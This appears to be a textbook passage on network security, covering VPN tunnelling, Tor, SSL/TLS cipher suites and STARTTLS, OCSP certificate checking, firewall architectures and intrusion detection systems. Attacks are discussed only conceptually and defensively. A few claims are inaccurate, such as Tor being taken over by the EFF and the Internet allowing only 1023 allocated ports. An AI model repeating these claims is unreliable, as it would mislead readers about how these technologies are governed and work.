The purpose of this is to permit two hosts or local networks to communicate through
another network which they cannot (or will not) use directly. It is common to
distinguish between different forms of tunneling, depending on whether the tunnel
runs between single computers (“hosts”), between (sub)networks (“sites”) which
contain one or more computers, or between a mixture of these two possibilities.
8.3 Virtual Private Networks 179

Router/firewall Router/firewall
RA RB
Workgroup Switch Workgroup Switch

CiscoSystems
Catalyst CiscoSystems
Catalyst

Internet

Site A Site B

Header Data IP hdr. Header Data Header Data

Fig. 8.10 Site-to-site tunneling

8.3.1.1 “Site-to-site” Tunneling

“Site-to-site” tunneling allows a PDU to be transferred from one network (“site”) to

another network, without its contents being dealt with by any systems on the way.
This can be done in a very simple manner: by encapsulating the entire PDU in an
IP PDU which is sent via the network which connects the two sites, as illustrated
in Fig. 8.10. The tunnel (green) protects the connection between the two routers.
Encapsulation takes place in the edge router RA on the boundary of the sender’s
network. Decapsulation takes places in the edge router RB on the boundary of the
receiver’s network.

8.3.1.2 Secure Site-to-site Tunneling in a VPN

In a VPN based on “site-to-site” tunneling, the aim is to ensure that traffic can be
transferred from one network (“site”) to another without its content being seen or
changed on the way. This aim can be achieved in a simple way by encrypting each
PDU and sending it as the payload of an ordinary IP PDU which is routed from the
edge router, RA, of the sending site to the edge router, RB, of the destination site.
This is illustrated in Fig. 8.11.
Typically, software in the router/firewall of the sending network automatically
handles encryption for packets addressed to hosts in the other network, and decryption
for packets arriving from the other network. The users then barely notice that their
traffic is passing through a tunnel.

8.3.1.3 Secure Host-to-site Tunneling in a VPN

An alternative architecture for a VPN uses “host-to-site” tunneling, as illustrated in

Fig. 8.12. This allows traffic to be transferred between an external computer and
a remote network without its content being seen or changed on the way. This is a
180 8 Network Security

Router/firewall Router/firewall
RA RB
Workgroup Switch Workgroup Switch

CiscoSystems
Catalyst CiscoSystems
Catalyst

B1
A1
A2 B2
Internet

Site A Site B

VPN hdr. Data IP hdr. VPN hdr. Data

Fig. 8.11 Secure site-to-site tunneling in a VPN

Router/firewall
RB
Workgroup Switch

CiscoSystems
Catalyst

B1
External computer A
Internet B2

Site B

VPN hdr. Data IP hdr. VPN hdr. Data

Fig. 8.12 Secure host-to-site tunneling in a VPN

typical VPN setup for out-of-office working, where users are interested in having a
secure connection to the computers in the network at their main place of work.
The external computer has to run software as a VPN client, which will typically
authenticate the user, encrypt traffic to be sent via the tunnel and decrypt traffic
arriving via the tunnel. The router on the edge of the site’s network behaves as in the
site-to-site case.

8.3.1.4 Which Layers Are Used for VPNs?

The necessary encryption is in practice most commonly performed in:

• the Internet layer (typically through the use of IPsec) or
• the Transport layer (typically through the use of SSL/TLS).
Secure protocols in the Application layer, as previously discussed, protect only a
single application, but can be used for specialised purposes. Secure protocols in the
Link layer, such as PPTP, L2TP and LTF, are mostly used with PPP or other modem
8.3 Virtual Private Networks 181

based communication. Unfortunately, many of them only use weak encryption or

have known security weaknesses.

8.3.1.5 Anonymous Communication in the Internet

As a secure tunnel hides the IP adresses of the sender and receiver of the traffic which
passes through the tunnel, it can form the basis for complete anonymisation of Inter-
net traffic, so the receiver cannot see the sender’s IP address, and any intermediate
systems which are passed on the way from sender to receiver cannot see the sender’s
or receiver’s IP addresses. It is this technique which forms the basis for the so-called
dark Internet, which is used by people who want to keep things hidden. The users
include criminals, terrorists, whistle blowers, journalists protecting their sources,
and quite ordinary people who just want to keep their private lives to themselves.
One of the best known systems for this purpose is Tor. The name “Tor” is an
acronym for The Onion Router, as the sender’s data are packed in in several layers of
encryption, which covers them like the layers of an onion. The idea was developed

Tor nodes

T2
Alice

T1
Server

Server

Bob

Server

Server
T4

Server

T3
Server

Server

Server

IP PDUs:

Alice T1

T1 T2

T2 T3

T3 T4

T4 Bob

Fig. 8.13 Alice uses Tor to send Bob a secret message

The encrypted parts of the PDUs are indicated by solid shading.
182 8 Network Security

in the 1990s by the US Naval Research Laboratory, but has subsequently been taken
over by the Electronic Frontier Foundation (EFF).
Figure 8.13 shows the principle of Tor’s operation. The sender chooses a path
from an entry node (in the figure: T1) to an exit node (T4) in the Tor network.
The path goes via a randomly chosen sequence of intermediate Tor nodes—in the
figure identified as T2 and T3. Even though the figure shows a path with only two
intermediate nodes, in practice there will be many more.
As in any form of secure tunneling, the application data which are to be sent
to the destination are encrypted and encapsulated by the sender a number of times
corresponding to how many intermediate nodes there are in the path. In each Tor
node which is passed, a layer of encryption is taken off—just enough to reveal the
address of the next node to be passed. This process is shown schematically in the
lower part of the figure. At the exit node (T4), only one layer of encryption is left.
When this is decrypted, the original application data (indicated by hatching) are
revealed in an IP PDU whose destination address is the final receiver’s, but where
the source address is the exit node’s. As the whole route is never revealed at any
stage, it is very difficult to determine who the two parties that communicate via Tor
are. It is pointless to monitor the net in order to trace the traffic, as Tor has more than
7000 nodes, distributed over the whole world.

8.4 Secure Socket Layer

Secure Socket Layer (SSL) is a protocol suite which is used to introduce security in
the Transport layer. It was originally developed by Netscape to provide security in
client-server connections. Later, its development was taken over by the developers
of the Internet, who called their version Transport Layer Security (TLS). SSL is also
often implemented in routers in order to create a tunnel between two networks—
typically LANs.
Strictly speaking, “SSL” is a family of protocol suites:
• SSLv2 (Netscape, 1995)
• SSLv3 (Netscape, 1996)
• TLSv1.0 (described in RFC 2246, 1999)
• TLSv1.1 (described in RFC 4346, 2006)
• TLSv1.2 (described in RFC 5246, 2008)
• TLSv1.3 (described in RFC 8446, 2018)
SSLv2 and SSLv3 are now considered outdated and should not be used any more, as
they contain many vulnerabilities. Versions TLSv1.0 and TLS1.1 originally allowed
weak forms of encryption which are now deprecated or even strictly forbidden, and
these versions should therefore be used with great care.
Even if the aim is to introduce security in the Transport layer, SSL/TLS in fact
works on top of TCP, so it is not necessary to replace TCP in order to use SSL/TLS.
8.4 Secure Socket Layer 183

Fig. 8.14 SSL architecture SSL

SSL SSL
Handshake Change Alert HTTP ....
Cipherspec

SSL Record Protocol

TCP

IP

8.4.1 SSL Protocol Architecture

SSL adds an extra layer between the Transport and Application layers, and some
special application protocols in the Application layer, as shown in Fig. 8.14. The
extra layer implements SSL’s Record protocol, which provides basic encryption
and integrity services for applications. The new application protocols control the
operation of the record protocol:
• Handshake: Is used to authenticate the server and (optionally) the client to one
another and to agree cryptographic keys and algorithms.
• Change Cipher Spec: Selects the agreed keys and cryptoalgorithms for use until
further notice.
• Alert: Transfers information about errors—for example, that a secure connection
could not be set up with the proposed parameters.
SSL/TLS’s Record protocol offers stepwise processing of Application layer
PDUs, as illustrated in Fig. 8.15.

Blocks < 214 bytes

Optional lossless compression

MAC evaluated with shared key

Encryption with shared encryption key

Header shows Application protocol

Fig. 8.15 Treatment of APDUs in SSL/TLS’s Record protocol

184 8 Network Security

SSL/TLS’s Handshake protocol is a 4-step “client/server” protocol to establish

parameters for the secure connection. The “client” is the party which initiates the
connection. The four steps are:
1. Hello: The parties negotiate parameters which they both can use. The client sends
a list of possible sets of parameters, in priority order. The server chooses one of
the offered sets and informs the client of its choice. The parties exchange random
numbers for use in generating keys.
2. Server authentication and key exchange: The server optionally executes the
chosen key exchange protocol. The server sends authentication information (e.g.
a certificate) to the client, which can then check the server’s identity and thus
avoid redirection attacks.
3. Client authentication and key exchange: The client executes the chosen key
exchange protocol. The client optionally sends authentication information to the
server.
4. Finish: A secret, shared encryption key is derived from the information exchanged
in steps 2 and 3. The Change Cipher Spec. protocol is activated, so the agreed
encryption will be applied to the subsequent traffic

8.4.2 SSL/TLS Security Parameter Sets

In the first step of the Handshake protocol, client and server try to agree on which set
of security parameters are to be used for the secure connection. The set of parameters
specifies:
• Which version of SSL/TLS is to be used.
• Which algorithm is to be used for key exchange.
• Which encryption algorithm is to be used in the secure connection.
• Which mode of block encryption is to be used (if a block cipher is to be used).
• Which cryptographic checksum algorithm is to be used.
During the exchange, each parameter set is described by a text string which specifies
the proposed choice. For example, the parameter set which the parties must imple-
ment in TLS v1.2 is described by the string: TLS_RSA_WITH_AES_128_CBC_SHA
This means:
• TLS: Use (the latest version of) TLS
• RSA: Keys are to be exchanged by encrypting them with RSA.
• WITH: just for padding. . .
• AES_128: The encryption algorithm is AES with 128-bit keys.
• CBC: AES uses the Cipher Block Chaining mode.
• SHA: The cryptographic checksum is HMAC-SHA with SHA-1.
There are many possible choices for which encryption algorithm and (if necessary)
mode for block ciphers can be used in SSL/TLS.
8.4 Secure Socket Layer 185

• For block ciphers:

– 3DES_EDE_CBC: Triple-DES with three keys in CBC mode.
– DES_CBC: DES in CBC mode (*)
– DES40_CBC: DES with 40-bit keys in CBC mode (*)
– IDEA_CBC: IDEA in CBC mode. (*)
– RC2_CBC_40: RC2 with 40-bit keys in CBC mode (*)
– AES_128_CBC: AES with 128-bit keys in CBC mode (and correspondingly in
CCM or GCM mode).
– AES_256_CBC: AES with 256-bit keys in CBC mode (and correspondingly in
CCM or GCM mode).
• For stream ciphers (here there is no need for a mode):
– RC4_128: RC4 with 128-bit keys (see below)
– RC4_40: RC4 with 40-bit keys (see below)
– ChaCha20_Poly1305: ChaCha20 with Poly1305 authenticator.
– NULL: No encryption (*)
• The possibilities marked with * are weak and their use is deprecated. In TLSv1.2
and TLSv1.3, DES, DES40, RC2 and IDEA must not in fact be used at all.
• Discovery of a series of vulnerabilities in RC4 led in 2015 to a complete ban on
using RC4 in all versions of TLS.
There are likewise possibilities of using other cryptographic checksum algorithms
than the now deprecated SHA-1, for example SHA-256 or SHA-384.

8.4.3 Protocols Secured with SSL/TLS

A number of common Application layer protocols are available in secured versions

where the security is achieved by basing the protocol on SSL/TLS rather than directly
on TCP. This can be done in two different ways. The traditional way is to define
a “new” protocol, where the server uses another port than the unsecured version.
Some well-known examples of this approach are shown in Table 8.3.

Table 8.3 Secured protocols in the Application layer

Protocol Usage Server port Secure variant Port
HTTP Handle web pages 80 HTTPS 443
SMTP Send e-mail 25/587 SMTPS 465
POP3 Fetch e-mail 110 POP3S 995
IMAP Fetch e-mail 143 IMAPS 993
NNTP Read news 119/433 NNTPS 563
LDAP Directory access 389 LDAPS 636
FTP File transfer 21 FTPS 990
186 8 Network Security

An alternative way of securing these text-based Application layer protocols is to

use STARTTLS. With STARTTLS, the server uses the normal port which is allocated
to the service, so it is possible to offer secure communication without allocating
special ports for secured variants. As there can only be 1023 allocated ports in the
Internet, STARTTLS is therefore an attractive solution which can be used with the
majority of Application protocols.
This approach is defined for SMTP in RFC 3207, for POP3 and IMAP in RFC
2595, for NNTP in RFC 4642, for LDAP in RFC 2830, and for FTP in RFC 4217.
Typically, a new command, STARTTLS, is introduced in the ordinary client-server
dialogue, so the client can initiate an SSL/TLS negotiation for suitable security
parameters for the exchange. An example with SMTP can be seen in Fig. 8.16.
The example shows the start of a STARTTLS-based version of the SMTP exchange
shown in Fig. 7.2 in the previous chapter.

EHLO gogo.molester.dk
250-design.fake.com
250-8BITMIME
250-STARTTLS
250 DSN
STARTTLS
220 Go ahead
Client starts TLS negotiations.
Client and server negotiate a TLS session.
Client and server evaluate result of negotiations.
If satisfactory, use agreed form of encryption from now on.
EHLO gogo.molester.dk
250-design.fake.com
250-8BITMIME
250 DSN
MAIL FROM:<[email protected]>
250 OK
RCPT TO:<[email protected]>
...

Fig. 8.16 The start of an SMTP transfer with STARTTLS

Commands from client to server are shown in typewriter font and responses from server to
client in red italics.

Use of STARTTLS with SMTP requires the server to support the service extension
STARTTLS. As we have seen in Sect. 7.1, it is a convention in SMTP, that the
server’s response to the client’s initial command EHLO specifies which extensions
it supports. In this example, the server’s response 250-STARTTLS shows that it
supports STARTTLS and is ready to start negotiation for a TLS session. The client
can then send the actual STARTTLS command which starts the negotiation. When
the negotiation is finished, both client and server must evaluate whether the agreed
security parameters are sufficient to protect the following exchanges. If at least one
of them considers the security level to be too low, the SMTP transaction can be
8.5 Risks in Using Certificates 187

broken off. Otherwise the exchange continues with a new EHLO from the client, this
time sent through the secure connection.
A weakness with STARTTLS is that it can be attacked with a Man-in-the-Middle
attack, where the attacker for example removes the server’s 250-STARTTLS response.
This will get the client to give up using TLS. Alternatively, the attacker can remove
the client’s STARTTLS command, so the negotiation for a TLS session never gets
started. It is also important to note that all data exchanged before the TLS session is
established is in plaintext, so the client and server must be configured not to exchange
confidential information such as passwords before the second EHLO command is sent.
A further problem with the use of STARTTLS (and TLS in general) is that it only
secures the traffic on a single connection between a client and a server. Here you
need to remember that some Internet applications require traffic to be sent through
several “hops” on the way from the original sender to the final receiver. A particularly
important example is e-mail based on SMTP. As discussed in Sect. 7.1.1, e-mail is
typically sent through a chain of MTAs, where traffic from one MTA to the next is
sent using SMTP. The protection which TLS or STARTTLS provides only applies to
a single “hop”. When the mail has completed this hop, a new TLS negotiation needs
to be performed for the next hop. This new negotiation may possibly fail, so there is
no protection on the new hop. Worse still: the receiving MTA could be a false MTA
with a faked IP address, or one which is under “foreign control” or infected with
malware. If the mail itself is not encrypted by the use of S/MIME or similar, then
the MTA can read, change or block the mail and/or send the content to outsiders.
While use of SSL/TLS makes it easy for law-abiding users to ensure confiden-
tiality and integrity of the messages which are exchanged by applications, it also
makes it easy for criminals who would like to hide transfers of material such as
spam mail or malware. Filters which should hopefully get rid of this cannot see that
the SSL/TLS encrypted messages contain undesirable material. This means that the
network’s architecture must be designed so that traffic is decrypted before it is sent
through a malware filter.

8.5 Risks in Using Certificates

The widespread use of certificates to document the relation between a subject and its
public encryption key in S/MIME, SSL/TLS and handling of electronic signatures
presupposes that you can have complete confidence in the certificates’ contents. If the
chain of certificates back to a trustworthy root certificate is unbroken, then you have
reasonable grounds for optimism, when you need to consider whether a certificate
contains trustworthy information. But the security which electronic signatures give
can be cancelled in various ways. Firstly because each certificate has a limited period
of validity. And secondly because a certificate can be revoked at any time. It is easy
to check whether the period of validity has run out. But an effective check of whether
the certificate has been revoked is significantly more difficult to achieve.
188 8 Network Security

As mentioned in Chap. 5, every CA maintains a CRL—a list of the certificates

which it has issued that have subsequently been revoked. When Alice receives a
certificate and wants to check its validity, she can in principle request the issuing CA
to send her the current CRL, and see whether the certificate is on the list. In practice,
this approach is used very rarely: the CRLs are often very large, and it leads to a
huge waste of resources (and noticeable delays) if you fetch a CRL every time you
get hold of a new certificate.
Greater efficiency can be achieved if Alice uses the On-line Certificate Status
Protocol, usually just known as OCSP. OCSP is a client-server protocol, where the
server—in this context often called the responder, which can be the CA itself or
another server appointed by the CA—stores information on which status the CA’s
certificates currently have. The basic way of using OCSP is for the client (Alice)
to ask the responder whether a specific certificate, identified by its serial number,
issued by the CA, is valid. The response from the responder contains, amongst other
things:
• Information about the certificate’s status, which can be ’good’, ’revoked’ or
’unknown’;
• The time (thisUpdate), at which this status was last known to be correct;
• The time (nextUpdate), at which new status information can be expected to be
available.
The response is signed by the responder. This status information is valid for a rela-
tively short period—typically a few days—between thisUpdate and nextUpdate.
This gives a certain protection against attacks in which the attacker tries to trick
Alice into accepting a revoked certificate by repeating a status message from a time
when the certificate was still valid.
Use of OCSP sounds like a good, efficient solution. But things aren’t that simple.
Alice cannot make use of a new certificate without first asking the responder and
waiting for the reply. In the best case, this will noticeably delay Alice’s real task. In
the worst case, Alice does not receive any reply, and therefore stands with a very
unpleasant dilemma. If she chooses to refuse the certificate, she cannot perform her
task. If she chooses to accept the certificate, she may get to use an invalid certificate
without being aware of it. An attacker who can prevent an OCSP responder from
sending OCSP responses can therefore cause considerable havoc.
Most recent versions of web browsers and mail clients support OCSP, but not in
the simple form described above. They use an extension known as OCSP stapling.
With OCSP stapling, it is the certificate owner’s duty to fetch a signed message with
status information for the certificate from the responder at regular intervals, and to
send this status information together with the certificate, when this has to be sent to
any other party. This means that the receiver of a certificate does not need to wait
while it itself fetches the status information. And so it also avoids the dilemma: if a
certificate arrives at all, it brings an evaluation of its own validity with it.
8.6 Firewalls 189

8.6 Firewalls

Firewalls (FWs) offer a completely different way of securing IT systems. Instead of

protecting data against modification and making them unreadable for people without
knowledge of the decryption keys, firewalls are used to control the traffic on its way
into or out of a network, so only permitted traffic according to the security policy
is allowed to pass. There are some rather obvious rules for how a FW must operate,
given here as Requirements 8.1.

Requirements 8.1 (Operation of a firewall)

A firewall must have the following properties:
1. All in- and outgoing traffic must pass through the FW.
2. The FW’s function is defined by a set of rules (policies), which completely
determine which sorts of traffic are allowed to pass and which are not allowed to.
For example:
• External users can access the company’s web pages and can send e-mails to
the company’s mail server, but may not set up connections to the company’s
other servers.
• Employees may set up connections from inside the company to external servers,
but not to peer-to-peer networks.

In addition to filtering, some FWs can offer further functionality such as authentica-
tion, virus scanning, intrusion detection, filtering of spam, and so on.

8.6.1 Types of Firewall

There are three main types of firewall, which base their decisions on different pieces
of information in the in- and outgoing IP PDUs (in the Internet world often called
“packets”):
1. Packet filter (PF) FWs filter in- and outgoing IP PDUs on the basis of their
source and destination IP addresses and/or TCP port numbers, as illustrated in
Fig. 8.17. The firewall in the figure is set up to allow access to the web server on
port 80, but to refuse attempts to communicate with the server via TELNET on
port 23.
A packet filter is the simplest type of firewall. It makes decisions exclusively
by looking at the current PDU, and ignores all information exchanged by the
application. It can therefore operate very fast and is well suited for use in routers
on the edge of a network, where a lot of traffic passes in and out.
Packet filters are often used to block spoofed IP PDUs—that is to say, packets
where the source address is faked. These could for example be outgoing packets
in which the source address is not an IP address which belongs inside the network.
190 8 Network Security

Firewall
Client
IPsrc: 192.15.23.11 Web server
SP: 51930
IPdst: 221.68.103.2 Allowed
192.15.23.11
DP 80

Client IPsrc: 192.15.23.17 Server

SP: 49672 Blocked

IPdst: 221.68.103.2 221.68.103.2
DP 23
192.15.23.17

Fig. 8.17 A PF firewall

IPsrc, IPdst: IP addresses for the source and destination of the PDU.
SP, DP: Ports in the source and destination.

In such cases, the packet filter is said to act as an egress filter. Or it could be used
as an ingress filter to filter off incoming packets in which the source address is an
IP address which actually belongs inside the network.
2. Stateful packet inspection (SPI) FWs, also known as dynamic packet filters,
enhance PF FWs by also considering the state of the exchange. Packets which are
out of place in the current state are dropped. This way of working is illustrated in
Fig. 8.18. An SPI firewall needs to keep track of which states all the active TCP
connections (and other Transport layer connections) are in. It therefore needs to
use more resources than a simple packet filter. Setting up a TCP connection, for
example, requires an exchange of three PDUs, as shown in Fig. 6.11, between the
two parties, and the firewall must record how far we have got in this process by
looking at the three PDUs as they come past.
The figure shows a time sequence in which time runs downwards from the top
of the figure. The three uppermost PDUs which are exchanged correspond to a
completely normal setup of a connection between the upper client and port 80 on
the web server. They are allowed to pass the firewall. The last PDU, on the other
hand, only has its ACK flag set. This normally only happens when a connection
has already been set up. As a TCP connection has not previously been set up
between the lower client and the server, this PDU will be blocked. One could,
for example, imagine that it had been sent by an attacker who had taken over the
lower client.
3. Application level/proxy FWs handle all transactions between the sender and
receiver for given applications by offering a proxy service to both sides. They
have to include proxy software for each application which has to be supported. No
other traffic can pass the firewall. This way of working is illustrated in Fig. 8.19.
Application proxy firewalls are especially popular for protecting servers, as they
can detect whether an unwanted protocol uses a port allocated to another, wanted
protocol in an attempt to get round the firewall, or whether a wanted protocol is
misused in a (possibly malicious) manner.
8.6 Firewalls 191

Client Firewall Web server

IPsrc: 192.15.23.11
192.15.23.11 SP: 51930
IPdst: 221.68.103.2 Allowed
DP 80
Server

Flag: SYN 221.68.103.2

IPsrc: 221.68.103.2
SP: 80
IPdst: 192.15.23.11
Allowed
DP 51930
Flag: SYN,ACK

IPsrc: 192.15.23.11
SP: 51930
IPdst: 221.68.103.2
Allowed
DP 80
Flag: ACK

Client
IPsrc: 192.15.23.17
SP: 49672

Time
IPdst: 221.68.103.2
192.15.23.17 DP 80
Flag: ACK
Blocked

Fig. 8.18 An SPI firewall

IPsrc, IPdst: IP addresses for the source and destination of the PDU.
SP, DP: Ports in the source and destination. Flags: TCP-flags.

Proxy FW
Client Server

Client talks to SMTP SMTP proxy

SMTP proxy Proxy talks to Server

Client talks to HTTP HTTP proxy

HTTP proxy Proxy talks to Server
Server

Fig. 8.19 An application proxy firewall

192 8 Network Security

8.6.2 Placement of Firewalls

Where you choose to place a firewall in the network has consequences for secu-
rity. Common placements include the following ones, which are listed in order of
increasing level of protection.
1. Screening router setup: A PF or SPI FW, which is built into a router, separates
a network which you trust from one you don’t trust (such as the Internet). This
is illustrated in Fig. 8.20. This very simple setup is often seen in private homes,
where a router delivered by an ISP contains firewall functionality.

Internet

Screening router
packet filter

Internal network

Fig. 8.20 A screening router setup

2. Dual-homed host setup: This setup, illustrated in Fig. 8.21, gives somewhat
better protection of a network than a setup with a screening router. It is based on
a “dual homed” computer—a computer with two network interfaces, one towards
the external network and one towards the internal network. This computer works
as a proxy, which only sends traffic on between the two interfaces if this traffic
obeys the security policy. This separates the external network from the internal
one in an effective way. This setup is often used in small enterprises, where there
is more at stake than in most private homes.
As a rule, the “dual-homed” computer is also configured as a bastion host—that
is to say, a computer which is specially hardened to withstand attack. Hardening
means that a number of steps are taken to tighten up the way in which the computer
is configured. These steps typically ensure that:
• It only runs a single application (in this context the firewall application),
• All non-essential services on it are closed down,
• All non-essential user accounts are removed,
• All unnecessary or unused ports are closed.
8.6 Firewalls 193

Internet

Dual-homed host
bastion host

Internal network

Fig. 8.21 A dual-homed host setup

In addition to this, a bastion host will often contain an IDS (see Sect. 8.7), and
will maintain a log of all important events in the computer which could indicate
that it is being attacked.
3. Screened host setup: This gives even more protection by combining the two
previous setups, as illustrated in Fig. 8.22. A screening router (with a PF or SPI
FW) at the entry point to the network is combined with a bastion host (with a
proxy FW) within the network that you trust. All traffic in to or out of this network
must go via this proxy; attempts to send outgoing traffic directly to the screening
router or to send incoming traffic directly to computers other than the proxy are
blocked.

Internet

Screening router
packet filter

Internal network

bastion host

Fig. 8.22 A screened host setup

194 8 Network Security

4. Screened subnet setup: This setup is used to support a security policy where
you want to protect some computers better than others—a strategy often called
security in depth. A typical example is when you have a number of servers which
it should be possible to access from the Internet, and a group of computers for
internal use which it must not be possible to access from outside, for example
because they contain data which is not to be made public. This is a very common
situation in many companies and other organisations.
To satisfy both groups of computers, the company’s network is divided into two
with the help of the inner screening router, as shown in Fig. 8.23. An outer
screening router is placed as usual on the boundary to the Internet. Those servers
which must be able to stand being accessed from outside are placed between
the two routers in a subnet which is often called a DeMilitarized Zone (DMZ).
They are exposed to a relatively high threat level and are therefore configured as
bastion hosts. The inner router blocks direct traffic from outside from reaching
the computers in the protected network, but these will as a rule still be allowed to
communicate with the servers.

Internet

Outer router
packet filter

DMZ network

Inner router DNS Web Mail

packet filter server server server

Protected network

Fig. 8.23 A screened subnet setup with DMZ

There are several variations of this setup. Many suppliers of firewalls offer equip-
ment in which both the outer and inner routers are in the same box, as indicated by
the dashed rectangle in the figure, so you get a so-called three-legged firewall. In
some contexts there can also be a requirement for even more levels of protection,
so yet another screening router is introduced to separate the protected network
from an even-more-protected network—a so-called split DMZ setup.
8.6 Firewalls 195

8.6.3 Residual Risks Connected with Firewalls

Even if a firewall in general can provide improved security, you should not believe
that it solves all security problems in a network. At least five features of firewalls
need further attention:
1. With a correctly configured FW, there is very little risk. But the firewall’s set of
rules can rapidly become confusingly large.
2. FWs cannot protect against traffic which is encrypted in a way where the param-
eters which the FW bases its decisions on cannot be seen in plaintext.
3. FWs do not protect against malicious internal users.
4. FWs can be cheated by false modems or wireless access points which for example
are placed in the internal network, where they can send and receive traffic which
does not go through a FW at all.
5. The FW is itself a type of specialised computer with its own operating system and
other software. Thus it can in principle also be attacked just like other computers.
To reduce these risks, further countermeasures need to be applied:
• The FW’s rule set must be checked to ensure that the policies are implemented
correctly.
• The FW must be supplemented with antivirus and intrusion detection software.
• It is necessary to keep a lookout for (and remove) false modems and wireless
access points.
• It is necessary to consider using several “layers” of subnet, with a FW between
neighbour networks, so as to form a DMZ. Servers which should be accessible
both from outside (from the Internet) and from the inside (from internal networks)
must be placed in the DMZ.
• You need to be sure that the FW is based on a security approved operating system
and is hardened as a bastion host.

8.6.4 Personal Firewalls

The approaches described above are based on the idea that firewalls are to be used to
protect a whole network or subnet containing several computers This is not always
appropriate. Imagine you work for a company in a job which takes you to many
places all round the world. You may need to use your laptop or other mobile device
in an unknown and possibly even hostile network environment, outside the protection
of your company’s own network. Many people also like to use mobile devices while
they are travelling in a bus or train, or while sitting in a cafe. A common solution for
protecting your device in such situations is to use a personal firewall installed on the
device. In most cases this is a software component which is either integrated into the
installed operating system or is obtained from a specialised vendor.
196 8 Network Security

A typical personal firewall can be set up to block unauthorised incoming or

outgoing connection attempts, just like the more general network firewalls. However,
this can in many cases be done on an application-by-application basis, rather than
a port-by-port basis. This gives a finer level of control, as there may be several
applications which all use the same underlying protocol and therefore the same
port. For example there are really many web-based applications which use HTTP or
HTTPS and therefore port 80 or 443. Many personal firewalls also offer a certain
level of intrusion detection and will typically also log various types of event, so the
user can see who (or what) has tried to access the computer.
The main weakness of most personal firewalls is that they are software based,
and typically installed in a system with a perfectly ordinary operating system. They
can therefore be put out of action by malware or hacking, leaving the computer
essentially unprotected.

8.7 Intrusion Detection Systems (IDS)

Intrusion Detection Systems (IDSs) are systems which detect and react to attempts to
attack computers or networks. An attack or attempted attack can show up in different
ways:
• A user or process does something abnormal.
• A user or process tries to get round a security policy.
• A process does something contrary to its specification.
An IDS typically consists of a collection of three types of components:
• Agents: Collect up information and states for networks, computers etc.
• Directors: Receive and process information from agents.
• Notifiers: Receive reports from directors, analyse them and if necessary react to
them, preferably in real time.
The reaction from an IDS can be active (e.g. to close ports or stop services) or
passive (e.g. to send warnings by texting or e-mailing). An IDS with active reactions
is often called an Intrusion Detection and Protection System or IDPS for short.

8.7.1 Principles of Operation

There are two different principles, which an IDS can be based on: Misuse detec-
tion or Anomaly detection. With misuse detection—also known as signature based
analysis—the IDS maintains a database with descriptions of known attack patterns
(“signatures”). The IDS continually checks whether the activity which it observes
corresponds to one of the known patterns. This gives a reasonably reliable identi-
fication of known forms of attack. A completely new form of attack, on the other
hand, cannot be recognised until its characteristics are stored in the database.
8.7 Intrusion Detection Systems (IDS) 197

Fig. 8.24 Statistical variation

Threshold
makes it hard to make deci-
sions
FPR and FNR are affected by
the threshold’s position

TP
FP
TN

FN

With anomaly detection—also known as baseline based analysis – the IDS main-
tains a database with a statistical description of “normal” behaviour in the network or
on the computer. The IDS continually checks whether the activity which it observes
deviates from normal behaviour. This makes it possible to detect new forms of attack,
but also gives many false alarms, for example when new, legitimate activities take
place.
Both types of IDS are affected by statistical uncertainties. With misuse detection,
an attack can deviate to a greater or lesser extent from one of the known attack
patterns, so the IDS has to decide whether the behaviour is sufficiently close to a
known pattern to cause an alarm. And correspondingly, with anomaly detection an
attack can deviate to a greater or lesser extent from normal behaviour, so the IDS
has to decide whether the behaviour is sufficiently different from normal to cause an
alarm. To make these decisions, IDSs use various Artificial Intelligence techniques,
such as neural networks, for pattern recognition.
Superfluous alarms are known as false positives, while missing genuine alarms
are known as false negatives. In an ideal world, the proportion of false positives and
false negatives for a given collection of attacks (often known as the FPR for “False
Positive Rate” and FNR for “False Negative Rate” respectively) would be 0, but in
practice it is extremely difficult to achieve such great accuracy. In the real world,
FPR and FNR will often affect one another, so a fall in FPR will be matched by a rise
in FNR and vice versa. So a compromise has to be found—for example by setting
the IDS up so that FPR+FNR is a minimum.
Fig. 8.24 illustrates what can happen. You should imagine for the sake of the
example that the IDS measures a single parameter, 𝑥, to decide whether the behaviour
is normal or not. (In reality, several parameters would normally be needed.) With
normal behaviour there is a certain spread in the measured values, as in the left-hand
“bell curve” in the figure. With attacks, a spread as in the right-hand bell curve will
be seen. If the IDS at some instant measures a small 𝑥-value, it is very probably an
indication of normal behaviour. And correspondingly, if the IDS measures a large
𝑥-value, it is very probably an indication of an attack. But since the two bell curves
overlap one another, there will be a zone in the middle where it is not so easy to
say which type of behaviour it is. It is necessary to choose a threshold and say that
198 8 Network Security

𝑥-values less than the threshold indicate normal behaviour, while values larger than
the threshold indicate attacks.
However, as we see in the figure, there will typically be some measurements from
attacks which are less than the threshold and therefore will be accepted as normal
behaviour—they are false negatives, indicated in the figure by the pale blue area, FN.
Correspondingly, there will be some measurements from normal behaviour which
lie above the threshold and therefore will be classified as attacks—they are false
positives, indicated by the pink area, FP, which in fact also includes the purple area
in the left-hand bell curve. The red area and the purple area in the right-hand bell
curve indicate the true positives, TP. If we move the threshold up or down, we change
the ratio between the areas of FP and FN, and therefore the ratio between the numbers
of false positives and false negatives.
When we move the threshold, we also change the ratio between the proportion of
true and false positives. Ideally, we would like to have 100% true positives and 0%
false positives. But if the two bell curves overlap one another, it will be necessary to
compromise with this ideal. To get the most out of an IDS, especially if you have a
need for high security, you need to have a well-trained expert to set up the system,
analyse the alarms which appear, and adjust the parameters of the IDS if necessary.

8.7.2 Network IDSs (NIDS)

A NIDS is an IDS which is specialised for monitoring activities in a network. The

agents are installed in machines which monitor network traffic by sniffing all traffic
which comes past them. They are typically placed in a router, application gateway
or switch, so all traffic can be seen. The big advantage of using a NIDS is that it
can monitor a complete, possibly very large, network and therefore gives a global
picture of what is going on. Moreover, the agents can be made very secure, while
there is no need to modify the individual ordinary computers which are attached to
the network.
There are, however, some problems with using a NIDS: Encrypted traffic cannot be
monitored—it is unthinkable that anyone would give an IDS the necessary decryption
keys, so it could look at everything. It is also difficult for a NIDS to handle all traffic
in a heavily loaded network, so a distributed architecture with several subnets and
correspondingly several NIDS can be necessary.

8.7.3 Host IDSs (HIDS)

A HIDS is an IDS which is specialised for monitoring activities in an individual

computer. An agent is installed in the computer which is to be monitored, and
collects up information on activities, file contents and other indicators. This gives a
more precise evaluation of the state of the individual machines. A HIDS can operate
8.8 Security in Wireless Networks 199

independently of the network’s technology and form—i.e. whether the network is

based on a shared medium, switch or whatever. It is also clear that a HIDS can give
a much more precise evaluation of the monitored computer than could be obtained
from a NIDS.
The disadvantages are especially that agents have to be installed in the individual
ordinary computers which are to be monitored. This gives a considerable mainte-
nance burden, and the agents also get to use resources on the monitored machines.
